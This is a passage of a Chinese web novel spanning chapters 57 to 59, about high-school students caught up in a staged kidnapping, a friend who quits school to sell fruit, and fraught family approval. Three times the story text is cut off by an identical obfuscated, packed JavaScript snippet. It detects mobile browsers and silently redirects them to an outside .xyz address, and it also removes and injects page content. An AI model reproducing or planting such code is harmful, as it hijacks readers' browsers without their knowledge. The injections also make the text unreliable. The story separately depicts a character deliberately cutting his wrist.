齐怀生顿了顿：“何晋找我，但我没空帮他，你帮我联系一下他。” 西风骤起，自阳台灌进屋来。宿舍区晾起的校服成排飘扬。 陈向然看向窗外，落叶簌簌划过阳台栏杆：“帮晋哥……你找申恺更好吧。” “申恺？”齐怀生念起这个名字，像在念咒，“一天一个地方，鬼知道现在人在哪。你知道他多久没上课了？开学以来。” 开学以来…… 陈向然默默轻叹。 说到不上学，孙临潼也已经逃课逃到无人提起。直到最近，他回校参加了一次月考，出成绩那天，杨姗才意识到班里少了一人。 当即眉毛倒竖，整张脸被愤怒扭曲。她就这么气势汹汹地上了一堂课，铃一响，甩下教棍离开教室，要上门找孙临潼的母亲。控诉学生对老师的不尊重。 “晋哥怎么了？”陈向然问。 听筒里静了很久，如果不是能听到齐怀生很轻的呼吸，陈向然会以为信号切断了。 他想隐瞒点什么，又想要说些什么。陈向然想。 “其实，申恺跟大家闹翻了。跟何晋关系很僵……”声比刚才小了，还很含糊，“你帮个忙，给他们个台阶。” 陈向然隐约感到不对。 他曾经十分讨厌申恺，不只是因为冲突，还因为相似。 申恺的性格放浪不羁，游戏人间，今朝酒今朝醉，与他不在一个世界。但他们又那么相似，若没有齐怀生，他们都是那个被人群簇拥的、孤零零的人。这种相似让他照见自己，不愿直视。 齐怀生是唯一要他认真对待人生，规劝浪子回头的兄弟。只要齐怀生开口，申恺几乎言听计从。 陈向然在两秒内想完这些。但他没有问出口——齐怀生为什么不亲自在电话里劝说他们。 找何晋是在周末的晚上。齐怀生一如既往不接他的电话。陈向然绕到他家里，摸黑上楼。那扇门依旧紧闭，反射冷蓝的月光。 不知不觉齐怀生的生日已经过去很久，陈向然除了在电话里说声生日快乐，别的什么都做不了。 他在吵闹的夜市里给何晋打去一个电话：“晋哥。我陈向然。” 何晋那边有音乐、有尖叫声，有玻璃磕碰的声音。 他轻轻“啊”了一声：“生哥竟然选了你？” 陈向然听不懂：“什么选了我？” “你别过来了，回学校去吧。酒吧这边乱着呢，你们学校的乖学生被绑架了。” 陈向然停下脚步，回头。圆月高悬，穿巷风卷起枯枝落叶疾驰而来，酒吧已经在身后很远的地方。“报警了没？” “刚报。” “申恺呢？” 何晋没有回话。 对面又一波哄闹声骤起，“咣”的一声，电话就这么没头没尾地挂断了。陈向然放下手机，额前的头发太长，头一低，遮了视线。 不知道发生了什么，但此处的人和事，总藏着动荡不安。 见识过这个地方暴戾、无序的一面，以及那些人一旦盯上谁就死咬不放的可怕的执着，他无法忽略内心的恐惧。这些人不怕脏、不怕死，心是空的，以一段又一段短暂的欢乐为生。 他用了很长时间，几分钟或是几个世纪，才迈出颤抖的腿——齐怀生让办的，用什么法子都得办。 酒吧几乎被拆了。 陈向然在门口碰见何晋，没来得及打招呼，就见酒吧里狼藉遍地。那个呼喝过齐怀生的店长躲在桌子之后，以一个扭曲的姿势躲藏着，鲜血横流。想来是招惹了这片区的哪位爷，被当场大卸八块。打扮精致的女人花容失色，裙摆烂了一边，露出大腿，从陈向然身边匆匆而过。 听围观人群七嘴八舌，零零碎碎的话语粘合起来，陈向然才听出，有人被绑架了。 又是那红毛，他站在唯一的灯下，神态从容，在打电话。但电话像是没通，于是他把手机往身后一扔。 身后有个学生，被束缚了双手，坐在阴影里。远远的，陈向然看不清那学生的面庞。只看到手机从光下滚进黑影，屏幕倏地一亮，上面是一个“爸”字。 红毛不紧不慢地朝学生走去。 突然伸手，拽起一把头发。酒吧的玻璃灯罩早就碎作一地，灯光煞白。海中校徽粼泛银光，随着红毛揪扯，那帆船像要乘风破浪一般。 陈向然走近了，想确认是谁。肘间被人扯住，往后拉了好几米。 “快走吧，小向然。”何晋的声音依旧诚厚有力，“今晚情况特殊，你不该待在这的。” 但陈向然压根没听。那吧台旁一群人中，他认出了申恺。这家伙不知什么时候也染了几缕红色，在白光下殷然刺目。一眼望去五颜六色，完美融入一群渣滓。 “快点。”何晋声音里添了点强硬。 陈向然被他拉到店外，路灯的昏黄笼罩下来，踩着湿漉漉的水泥路面，吵闹声就好像离得远了一样。 “你告诉我，申恺怎么了？”他转过头盯着何晋，“告诉我，我才能走。” 何晋放开他的手肘，忽然不敢看他，别开脸：“闹了点矛盾而已。” “什么——” “轰隆”一声，店里像是砸了什么东西。紧接着，红毛冲角落里的人影咆哮起来：“你他妈敢骗老子！” “没有。”被绑架者声音镇定得可怕，是个沙哑的少年的声音，“我也没想到……” 话语被一脚踢断。 陈向然几乎认出这个声音了。同一瞬间，少年被那红毛一脚踢到灯下，一头短发，面无表情，像一座无生命的雕像，摔在地上，摔碎了。 孙临潼，逃课逃到这份上，竟是待在这样的地方。 “我用你他妈的手机，打给你爸妈多少次了，他们既没把钱打到我们账上，也没有出现过啊。啊？几个月了？”红毛把他再拎起来，像提起一只兔子，“你真的有爸妈么？乖学生？” “这个问题……”孙临潼颤抖着唇角，露出那没心没肺的笑，“嗐，壬哥，大概我玩过火了，他们都不信吧。” “玩？老子没闲心陪你玩！” 陈向然记得那天在严霖辉的办公室，孙临潼像个混子一样插着腰，装傻充愣，说没人敢管教他，他也不需要管教。不学习也能考个上层二本，何必费劲。 “又不是每个人都能清北嘛。”他两手枕在脑后，笑嘻嘻说，“我看得可开了，严老师。我没想要太高的学历，上课简直浪费我的时间。” “但逃课是毁坏纪律，”严霖辉缓悠悠地端起茶杯，轻轻抿一口，热气袅袅，茗香四溢，“作为老师，我是可以通知你家长的。” “见他们可是要排队的。大忙人哦。” “每个人都会想要些什么，因此才有过下去的希望。”严霖辉盖上杯子，放回桌上，另一只手随意地转笔，眼一瞥，在试卷上批了个红勾，“这没什么稀奇的，孙临潼。但是，你又想要走自己的路，又想要引起你父母的注意，全部都用逃课的方式实现……人生也不是那么便宜的，对吧？” “不如我来教你更好的方法……” 孙临潼和严霖辉做了点“交易”。从此他从不旷化学课和补习，相对的，严霖辉时常向孙母汇报孙临潼的近况，而后定时向孙临潼转达。 成绩进步了，受到夸奖。退步了，收到安慰。那时孙临潼单纯是个大咧咧的小少爷，每天咋咋呼呼地炫耀，等母亲出差回来他会收到一份大礼。 可是…… “申恺是参与绑架了？”陈向然问，“怎么？连你们生哥都不能唬住他了？” 何晋面露无奈，只好说：“他就是跟生哥闹矛盾了。生哥觉得……总有人说话，他会听。我万万没想到是你。” 陈向然注视着他。 派出所速度很快，四五个警察携带警棍冲进现场。擒贼先擒王，红毛很快被扭了双臂。孙临潼蹭着木椅边上的钉子，割断绳索，就要往前扑去。 刹那间陈向然似乎理解他要做什么，趁何晋分神，一个箭步冲上去，翻身越过一张倒下的餐桌，把孙临潼整个扑倒在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16301976|182790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地上。 几个月了……红毛说几个月了，孙临潼一直在玩同样的把戏。他们替他伪装绑架，而后这帮沟渠老鼠就可以得到丰厚的报酬。 伪装绑架，杨姗和孙母在办公室谈话时，陈向然隐约听过这些字眼。 “差不多行了，孙临潼。”陈向然把他的手扭到后背，膝盖顶住他的后腰，腾出一只手拿过他的手机，翻到他管家的联系方式。 “没想到，你也会来这样的地方。”孙临潼用力挣扎，歪歪扭扭地趴在地上，笑着说，“喂，不是特地来救兄弟我吧？” “不是。”陈向然冷冰冰地回他，“你要逃课也好，好好学习也好，没人会管你。” 没人会管你。 孙临潼笑容顿消，一时间眼神一动不动地望着某处。不多时，他朝混乱的现场抬了抬眼。 “是，不会有人管我。” “因为你注定有很好的未来。每个人都这么想。哪怕你不学习，旷课，你的未来还是有保障。”陈向然顿了顿，放松对他的擒拿，“但是……不空虚么？成天耍这种把戏……多少人担心你。” 现场又是一声巨响，有人在和警察搏斗。一阵噼啪猛响之后，不过三招就被制服在地。警察呼喝着“别动”，手铐咔嚓一响。 空虚，所以才用一些行为来获得点什么，哪怕一点关注。 “没有担心。陈向然，都是假的。”孙临潼一使力，挣脱他的控制，摇摇晃晃地站起来，甩甩发酸的手腕。 “什么假的？” “严霖辉跟我妈，甚至我爸联系，夸奖、关心，都是他编的。你说得对，就是把戏。把戏玩多了，也就没人在乎了。我知道。”孙临潼抹去脸上的血迹——方才有块碎木飞过，刮过他的脸颊。 陈向然只是凝视着他。 “你不是来‘拯救’兄弟我，那是来干什么的？”孙临潼叉腰露笑，嘴角的淤肿扯得变了形。 “找……”陈向然把目光投向申恺。 申恺插着裤兜，倚靠在墙上，完全是个混混的模样。唇间含了根烟，尼古丁的味道散布整个空间。 “哦，他啊。”孙临潼后退两步，“你认识么？可凶了，小心点。” 孙临潼说他“凶”，所言不假。 申恺开学初还齐齐整整穿着校服，几个月了，长发垂肩，缕缕发红。他咬着一根橡皮筋，在后脑勺扎了个狼尾。脸色被灯光映得苍白，嘴角重重地向下扯，眼神冷冽，像是有很深的怨气般。看到陈向然，嘴微张。半根烟颤了两颤，还是落到了地上。 火星红亮，“滋滋”灼烧烟卷。 “你跟晋哥怎么了？”陈向然朝他走去。 孙临潼不敢妄动，就这么看着他经过面前。 申恺踩灭烟头，面无表情地离开：“没怎么。” “齐怀生叫我来的。”陈向然执着地拦住他。 故意搬出齐怀生，申恺果然有所动摇。他似乎打算说什么，又垂眸闭口，不再言语。 陈向然越过他看向门口，派出所的警察已经带走了一部分人。这时走来一位高大的中年警官，皮肤黝黑，生了些斑块。陈向然记得他，当初叶知被这帮人欺负时，就是他做的审问。 “好久不见。”警官的脸上写满了无语二字，“走吧，别等我对你用手铐。” 申恺神色狠如孤狼，却没有二话，跟在他身后。走时正与何晋擦肩。他们斜觑对方，最终还是没能错身而过，停了下来。 何晋生硬地说：“阿恺，你要体谅生哥。” “我就是看不惯你们一个一个的，都他妈这种态度。尤其是你，何晋。”申恺瞪他良久，冰冷冷的视线转移到陈向然身上，“陈向然，你也是吧，体谅生哥。我知道生哥很珍惜你，但你要知道，我和他也是十几年的兄弟了。” 陈向然根本没听懂他的意思，他又说：“行，都去体谅他吧。哈，我身边啥人没有，还缺你们几个没心眼的。”说着摆摆手，老老实实跟着警察走了。 这个人，还是很讨厌。陈向然想。 那样的表情，那样的口气，佯装拥有很多的虚伪笑容，都是陈向然的倒影。 “我当然体谅他的。”陈向然说。 秋天夜里萧瑟微凉。申恺在路灯下止步，晚风和昏黄的灯光同时笼罩着他，宽松的衣服波澜起伏，于是他的背影异常消沉。 “你，或许不会的。”申恺的语气平缓下来，“如果你知道他干了什么。” 58. 苦肉 齐怀生……干了什么？ 申恺绕过一角昏黄的光，衣服蹭过生锈的水管，铜扣子发出叮铃咣啷的声音。 孙临潼站在原地，摸着嘴角的淤青，现场配合警察的询问笔录。何晋只是叹了口气，说要送陈向然回学校。 陈向然拒绝了。他直到现在，都没搞清申恺在闹什么。何晋也对此矢口不提。 “嘿，回去吧。”孙临潼揽过他的脖子。 陈向然斜过视线，看到他。 没心没肺的笑容，头发的阴影垂到眉眼间，暗色的瞳孔仿佛漠视一切。手臂盘绕在脖子上，像树根下蛰伏的蛇。过了今晚，陈向然意识到这人不仅仅是个“少爷”，还是个不计投入，甚至能把他自己玩进去的主。 “想上课了？”陈向然问。 “不啊，”孙临潼一甩汗湿的头发，推着他朝门口去，“但是事不过三，同样的招用不了三次。” “事不过三不是这么用的……”陈向然扶着额头，“如果你好好学，说不定他们一高兴，会特地打电话给你。” 孙临潼的父母他不晓得，但林岚是这么做的。 最近的一次大考，十六班创造了两个奇迹。一个是从吊尾班变成重点班，还有一个是，年级的断层第一出现在班里。就是陈向然。 林岚大约有一年时间不与他通电话。她实在太忙了，二十四小时工作电话不断，微信永远亮着99+的红点。直到她的手机收到陈向然最新的成绩。一个电话打过来，说恭喜，要保持。并说非常非常想念他。 停车场的那个晚上，陈向然还深深地记着。但不得不承认，听到这些话，他有些动摇。内心摇尾乞怜一般——只要拥有分数，就能拥有认可。 “这样的关心你也要吗？”孙临潼低头绑鞋带——这双昂贵的鞋几个月内变得破旧。 这样的JORDAN名牌，也变得和这县城的天地一色。踩在水坑遍布的水泥地上，溅一鞋子污水。路灯照亮的鞋侧商标已经破成了两半。鞋子划烂，脸撞烂，他今晚的一切仿佛都烂成了渣。 他绑好了，直起腰，却仍低着头，不知看鞋还是看水里的倒影：“因为达到了要求，就向你施舍关心。达不到要求便无视你、惩罚你。你觉得，这像什么？” 他回想林岚的每一次夸赞、不满和鞭策。他当然知道这像什么。 像驯兽。 “反正嘛，我是不会接受的。”他踩了踩鞋底，“走吗？” 天上下起了小雨。 毛毛雨，若不是地上水洼涟漪，陈向然不会意识到有雨。他看着水泥地走路，孙临潼就像个猴子一样转着圈，蹦着走，嘴里一如既往哼着歌，听不出调子。 这样的人，有时真猜不到他在想什么。 雨渐渐有变大的趋势，秋风如虎过林，刮得雨丝倾斜，落在街边一列摩托车、电动车的防雨罩上，啪嗒、啪嗒地响。 陈向然忽然停在某条巷子旁，鞋子踩在水坑里。水花落下，渐渐映现陈向然一只失落的、与夜空相融的黑眼睛。 孙临潼往前蹦了几步，发觉背后没有脚步声，回过头：“怎么啦你？” 陈向然缓缓将目光放在巷里那辆电动车上。没记错的话，他方才经过时，这辆车并没有停在这里。 那是齐怀生的小电驴。 “孙临潼。” “啊？” “你认识申恺吗？” 很奇怪，一提到申恺，孙临潼就浑身戒备一般，支在后脑勺的手放下，歪斜的身子回正，一高一低的脚岔开同肩宽。 “不太认识。” “不太认识是认不认识？”陈向然追问，“暑假那天发成绩你没去，但是穿了校服，带叶知回家。你是在掩饰什么吗？” “陈向然，你到底想问什么啊？”孙临潼刚随手买的柠檬茶，拆了吸管，把纸盒一下吸扁了，“行，认识。那天我就在他那过的夜，行不？” 陈向然猜到他们认识，可没猜到他们如此熟悉。 “我招咯，我已经离家出走无数次了。一开始我妈打来电话，说实话还挺忐忑的，一接起来，问我月考几分儿，还有时间去外边儿闲逛。笑死我了。”孙临潼吸一口柠檬茶，一松口，锡纸盒“咕”地被空气撑开，“嗐，跟你说了也白说，你个小学霸啊，是不懂我们这种鸡立鹤群的人的。” 陈向然沉默了一会儿。 那天他在停车场离开林岚后，在微信里收到的消息，也是类似的说法。忙碌总让人无法顾及细节。 “我当然懂。”陈向然说，“然后呢？他就白白让你过了个夜？” “何止过夜，我还请他帮个忙，就今天那假绑架的把戏。我说给他钱，他说他不要钱，要我用这钱照顾叶知和生哥。靠，他竟然知道我追叶知，要我好好待她。你知道这说明什么？叶知在她朋友面前提过——” “生哥怎么了？”陈向然轻言打断他。 “欠钱呢吧，好像是。”孙临潼一手插兜，仪态放松下来，又吸了一口柠檬茶。 齐怀生当然欠着钱呢，欠他姑姑的朋友，或者还欠着齐越杰。 “他欠钱，你要替他还？”陈向然歪了歪头，“你知道那是多少钱么？” “不是，是替他交学费——” “咣当”一声，楼上不知谁扔下一片瓷砖，就在孙临潼身后两米，摔了个粉碎。孙临潼往陈向然身边缩了缩：“要不……换个地方说话？” 死寂的夜晚一声突如其来的巨响，是个人多少都要吓一跳。 但陈向然仿若无闻，抬头确认了一下——二楼有个熟悉的人影一闪，消失了。他快步穿过窄巷，经过饭店、水果摊、手机维修铺，经过那些五光十色的扭曲的招牌，走向深处那辆红色的小电驴。地上沥青乌黑发亮，屋檐有节奏地落着水滴。齐怀生的小电驴就锁在墙角发锈的水管上。 他徐徐抚摸小电驴的后座，上面有雨珠。 ——他放学后去哪儿了？刚刚是不是经过了酒吧，却没有停留？ 雨越下越大，孙临潼不得不找个店铺躲躲雨，雨檐落下的水幕模糊了蓝色的LED灯。陈向然还站在那，落汤鸡一样，发梢坠着雨珠。 他说不清当时想了什么，只是摸到小电驴后座下一块突出的铁疙瘩，手腕在上面一蹭，霎时鲜血喷薄。 “接着陈向然。”孙临潼抛来一把新买的弹簧伞，“走吧……哎，你手怎么了？” 伞没接住，坠落在地，哗啦溅起半人高的水花。雨水冲着血水，顺着他的指尖往下流淌、滴落。 “靠！”孙临潼看到血，差点跳起来，“刚刚在酒吧怎么不说呢？这么深……亏他们下得去手。”他左右逡巡，“你有外伤药么——哎，这不是生哥住的地方吗？” 他环视四周，终于认出这逼仄的四方天井，从兜里掏出手机：“让他帮个忙，贡献点药和纱布。” 陈向然暗暗咬唇，等着他钓出齐怀生。 房间黑暗，只照进一点惨白的月光。 窗户栏杆投影在齐怀生脸上，明暗分割。他望着窗外，酒吧的方向，拇指指腹抚摸着手机屏幕。他刚挂了何晋的电话。“小向然来了，应该没受什么伤”，他这么说，“我让他别来别来，他说是你叫的，不听我的呀”。 齐怀生解锁手机屏，正要拨号，屏幕亮起，是孙临潼的电话。吃烧烤那会儿，他为了了解叶知情况留的号码。 他马上摁下接听键：“喂，姓孙的。” “生哥，你在家么？” “陈向然在哪？” “哦嚯，生哥神机妙算啊。”孙临潼冲陈向然眨眨眼，后者只是低垂着眼帘，盯着水流簌簌的地面。。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16301977|182790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陈向然如预料那般被送到了齐怀生家。站在门口，背着路灯的光，看着齐怀生像一只潜伏现身的野兽，从黑暗里走出来，顺手打亮了客厅的灯——是白光，那根常年不用的日光灯管换了新的。 几月不见，齐怀生眼窝微微凹陷，眼圈发黑，连胡子都没刮干净。陈向然看出他很生气。他每每火气上来，都爱这么居高临下地瞪人，令人发怵。 但今天，陈向然的怒火不在他之下。 正互相瞪视，孙临潼忽地窜到他们中间，笑嘻嘻地挥手：“嘿生哥，我们不久留，给他包扎一下伤口我们就走。” “走去哪？”齐怀生猛然拎起孙临潼的衣领。 孙临潼被问得一头雾水：“啊？回……回学校啊。” “你自个儿回吧。”齐怀生把他扔了出去，“他留下。” 孙临潼踉踉跄跄地靠在走廊栏杆上，晃了几步才站稳。他面无表情地掀眼，看着面前两个人，展开笑容：“生哥，他要是犯什么事惹着你了，跟我说，我收拾他。但是吧，他这手……哎，流得你家门口——” 齐怀生琥珀眼一瞪，在月光下十分吓人：“你今晚闹的事，最好别再有下次。” 说完把陈向然拉进屋里，“砰”地摔上了门。 “坐下。”齐怀生拽着他，语气很冲，劲儿还大，把他重重摁坐在椅子上，抛来一条毛巾，“摁伤口。” 陈向然像只不服气的小野猫，乖乖坐着，又咬着嘴唇，盯着他四处忙乱，把药柜翻得一团糟，终于找到碘伏和药油。走得太急，棉花罐摔在地上，散开一地白花花的棉丝。 他面色憔悴，瞳孔黯淡无光，看上去已经很累很累——许还遇到什么不顺心的事，脾气极大，暗骂一声“操”。七手八脚地把有用的棉花封在罐里。手指一不小心被盖子边缘划了道口子。血珠冒出来，陈向然忽然就不生气了。 齐怀生在自责。 药物准备好时，陈向然也止住了血。手上凝固了密密麻麻的红色细流。 “手。” 陈向然颤着把手递给他。 太疼了。 齐怀生生着气，动作却很轻，认真清洗、涂抹。陈向然沉默地凝视他。空间里仿佛摁了消音，只剩下齐怀生粗重的呼吸。 碘伏上完，开始蘸取药油。陈向然差点忘记自己是来干什么的，齐怀生反而先开口了：“在现场没受伤吧？” 陈向然一怔。 他佯装镇定：“这不受伤了？” “怎么弄的？” 陈向然张了张唇，没说话。 方才为了找理由，让齐怀生愿意见他一面，本能下这么做了。可编造打架、受伤的细节，他做不了。在齐怀生面前，这种小把戏骗不过。 他犹豫太久，齐怀生已经确信了：“教你一件事吧。打架的时候，尤其对手是打架老手的时候，通常是头、肚子、手臂外侧、腿外侧、膝盖容易率先受伤，你的伤只有一处，还在手臂内侧，只能是你自己弄的。至于你是不小心，还是故意……”齐怀生棉签一顿，眯眼注视他。 屋里忽然死寂。风拖扯枝条，抽打在铁棚上发出擂鼓般的巨响。瓢泼的阵雨飞过街道，雨珠从天井上方倾盘洒落。 齐怀生这一天也不知在做什么，疲累不堪，眼窝凹陷，加上这样审视的眼神，陈向然心里五味杂陈。 “你让我去劝他们，”陈向然说，“可申恺生气是因为你，我不就得找你么。” 齐怀生给他的伤口盖上纱布：“算了，别劝了。你不要再来这片区了。有空我再打电话给你。” “如果我不再来这边了，不如，连电话也不必打。”陈向然抽手，纱布飘摇着掉在地上，红色的血、黄色的药油、棕色的碘伏沾成了一滩。 齐怀生动作顿住。 “你最近在干什么？齐怀生？” 59. 帮扶 到码头去，乘傍晚的船过渡去看齐卫平了，晚上才回来。齐怀生这样说。 “真的？”陈向然半信半疑地盯着他——他正弯下腰，捡起沾灰的纱布。 他知道自己过于执着齐怀生的行踪了。齐怀生和申恺之间的事，他这么一插手，像是越过了界线，多管闲事一般。 总有那么一天，或许是齐怀生毕业、他高二结束的那一天，他们再见不上面，只能靠一根电话线维系关系。稍不留意，忙碌起来，便又丢失一个旧人——像他不再联系的无数个老同学、老邻居、老朋友一样。人生的离别总是在不经意间。 不管他人闲事，专注自己的方向，也是林岚一直以来告诉他的。 想到眼前这个人只是一时相逢，逝如流水，他就觉得难过。他的灵魂终究是累了，想要一个永远存在的倚靠。这个倚靠只能是齐怀生。 “是真的吗？齐怀生？”陈向然重复。 “陈向然，我在干什么，对你很重要吗？” “很重要，你高三了。”他说，“你说的，一起去江洲。我已经决定考那边的美院了，你也不能落下，江大分数那么高……” “我答应了就会做到。只不过，我会先你一步，对吧？”齐怀生低头封上药瓶，“你问完了，也该我问你了。” “什么？” “是不是又伤害自己了？”齐怀生一边说，一边收拾眼前凌乱的茶几，像在聊一个无关紧要的天，“不疼？” 陈向然摸摸手上的纱布，有些滑溜，药油和血已经渗透出来：“不疼——” “我疼。”齐怀生咬着牙，用几不可闻的弱声说道，“以后别再这么干了。你给条消息，我就见你。” 陈向然举着伤手，放在光下端详。血已止住了，不是刚刚汩汩流出的鲜红。大脑怪异的兴奋渐渐冷却。 他无法回应。他说不准自己身上的一些伤，是不小心，还是自己在受伤的刹那间明知故犯。 话过三更，第二天，齐怀生就失联了。 陈向然这晚睡得很好，也许是有药物的催眠，也许齐怀生的体温足够安全，他一觉睡到天亮。 醒来，身边的枕头已经空了。 他换身衣服出门找人。 今天是周末，学校是不必去找了，于是他在街里找，去废铁厂找，乘上公交去海滨广场找，而后沿着长廊经过码头轮渡。熟悉的地方都找遍了，依然不见踪影。 看了看微信，没有消息，也没有来电。就这么不告而别，直到日暮降临归来，他们平平常常地吃了一顿晚餐。 周一开学后也没有改变。他永远找不到齐怀生在哪。学校等不到，家里找不着。微信联系，只说下次给他家里钥匙，拜托他照顾一下阿送。 临近期末考的一个周六，他才想到石中的另一边——被石中学生称作“美食一条街”的北街。 去北街需要穿过石中校园。陈向然还记得一年前齐怀生蛮横地夺走他的题册，要他休息，带他到北街，喝了一碗暖烘烘的糯米甜汤。那时候乘着小电驴绕路，此时他只能趁着保安转身端起热水壶的刹那，溜进校门。 黄昏时分，天色昏暗，残阳笼罩一地红色的木棉花。陈向然仰头，光秃的树顶扑棱升起几只飞鸟，向高处、向远处而去，隐入绚烂的金红的天际。刚刚放学，红白校服如鱼群涌出校门，没人注意到一个便装少年，正逆人潮而行。 处处三五成群，却见申恺自教学楼里形单影只地走出来。 他闪身躲到架空层的柱子后。 申恺今天穿了校服，没扣扣子，邋邋遢遢地背着一边书包带，头发仿佛狗啃，一看便是被教导主任摁着剪了。夕阳把他的影子拉的长而扭曲，孤孤单单的，在街上晃荡。 直到两人迎面，互相都看见了对方。 “靠，正想找你。”申恺说。 他们在树荫下找了一张石凳，扫去上面的昆虫尸体，坐下。风吹着街上扁塌的易拉罐“叮当”滚过。 申恺给他递了根烟，问他抽不抽。他犹豫了一下，摇了摇头。 “我昨天出来的。拘留了十五天。”申恺打亮火机，烟卷轻烟袅袅，“交易嘛，那个孙临潼有钱。” “所以你叫了红毛那帮人，陪他演绑架的戏捞钱？”陈向然笑了。 “可是被晋哥发现了，报了警。钱是捞不着了。”申恺说，“陈向然，生哥他放弃了。” 齐怀生自打开学就没来过学校。后来他们在学校北街找到他。他坐在一张推车后面，车上有很多批发来的水果，有人来他就给人拿塑料袋帮人提着，任人挑，再拿走对应的零钱。 申恺一捶大腿，“搞什么呢？齐怀生他到底搞什么呢？” 陈向然盯着脚边爬过的蚂蚁，两手扶着膝盖，全身几乎控制不住地颤抖。 为什么齐怀生就是不肯听他一次呢？ “他……在哪？”陈向然要申恺带路。 “鬼知道，北街吧。北街他去得多。”申恺愤愤地吐出一口烟，整张脸都被白雾笼罩，“一天一个地儿，鬼知道现在在哪。” 陈向然想，申恺玩失踪、不上课，也是故意模仿齐怀生，在赌气呢。 道别的话也没有说，陈向然站起来，穿梭在人群里。 放学时间，北街最多的也是大大小小的学生。这里店铺杂陈，摆摊也横七竖八，烂白菜、腐果皮遍地沾污。一股子腌臜凌乱的生活气息。行人不绝，摩肩接踵，陈向然拥挤着，跌跌撞撞向前跑去，初冬时节里满头大汗。倏地踩到一片烂叶子滑倒在地，差点撞到一位正在秤菜的阿姨。阿姨掀起斗笠，瞪了他一眼。 于是透过来往摆动的一双双腿，他在人潮中远远看见那显眼的高个子。 齐怀生坐在推车前，用广告纸扇风，腰背微弯。有人经过他就站起来，哈着腰地向人介绍水果种类，力图推销出去。离得太远，陈向然没听不清他。 才刚刚开始做生意，齐怀生能批发到的水果质量一般，于是有的人非说这个橘子烂了，那个苹果蛀过虫，嫌弃来去。挑了一袋子上秤，撇开，说不要了。有些人不加商量直接省去了几毛零钱。还有的发现水果质量不好，重新回来要求退钱。 也不好说是不是顾客自个儿磕烂的。 那个曾经分明也有理想，心底也藏着远走腾飞的愿望的，那么高傲的一个人，这时折腰折得干脆利落。 陈向然咬牙爬起来，朝着日落的方向，破开人流，喊着“让一让”。撞过别人肩膀，被踩伤脚、擦伤肩臂，整得满身狼狈才跑到齐怀生面前。粗气低喘，微微颤抖，一时间，什么也说不出来。 齐怀生低头扇着风。他不知在这坐了多久，头发已经汗湿成一撮一撮，推车上的水果却仍有一半。 他本能一般，慌忙从塑料凳上站起：“苹果橘子火龙果，先生想要……” 一抬头，忽然不说话了。 风都仿佛为这一刻停了。陈向然就那么与他对视，难过得像是自己遭遇了变故。 和申恺不一样，他其实没有失望。他不知道换作自己在这样的境遇里，能不能做到那么干脆地选择。他不过不知道怎么劝说。 齐怀生坐回凳子上，头微低：“别劝我。” “你成绩那么好，读书才是你的出路。”陈向然声音沙哑。他这个年纪该在校园里，为自己想要的未来拼搏。他不该就这么放弃了，“你哥不可能负担不了学费的涨幅。” 齐怀生深深地看着他：“没有什么是应该的。” “你其实不想要这样。” “我只是为更重要的东西努力罢了。”齐怀生拨开他，留意着是否有人驻足摊前，“你不是说嘛，叶知或许不想用我们的陪伴换前途。我也只是，想用前途换我爸多陪我几年，换我姑、我哥不那么辛苦而已。” 陈向然哑然无声。 一切都那么不合理，世上的道路无论 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16301978|182790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如何选择，都像齐怀生的爷爷说的那样：海神也不能保证你不会遇上灾难。 遗憾总是会发生。 “齐怀生，”陈向然朝他走近一步，目光灼灼，“不只是这样吧？一定有别的理由，让你非这样做不可。” “跟你没关系。” “那你答应的事呢？”陈向然怒而凝眉，绕过推车到他身边，抵住他的下巴，要他抬起头来，“你看着我说，你只想一辈子呆在这里，从来不想去江洲。” “这里不好？”齐怀生冷笑着，学着林峰寺师傅那时的话语，“什么才是好的生活？” “如果你真的想，我不会说什么。”陈向然直直地凝视他，“可你明明想去江洲，有你喜欢做的事。而不是为了一时来钱快，就坐在这里给人点头哈腰。你说你想还钱，好，你现在靠这个赚二十年，能不能抵得上你读完大学工作十年的钱？” 齐怀生被触怒，倏然攥起他的衣领：“陈向然我告诉你——” “喂，那边，这里不能摆摊！” 话语被一声怒喝打断，城管握着棍从远处奔来。齐怀生突然站起，塑料凳都掀翻了。他手忙脚乱地抬起推车把手，骨碌碌朝另一个方向推。 陈向然茫然地跟在他身后。 一瞬间，街上所有人声、风声、喇叭吆喝声、剁刀声都仿佛散去，陈向然默默望着他推车奔跑的微弯的背影。 齐怀生这几个月过着怎样的生活？他想起齐怀生为他上药那天，那样疲惫又败挫的神情。眼前他又熟练地推着车子，避开城管。老街尽头的夕阳那么大，血一般红，于是那背影看起来那么拼命，又那么孤独。 陈向然倏地冲上去，搭住一侧把手，齐怀生只看他一眼，很快心领神会。两人像那天在海上划桨一般，左右配合，在人流中破水而行。 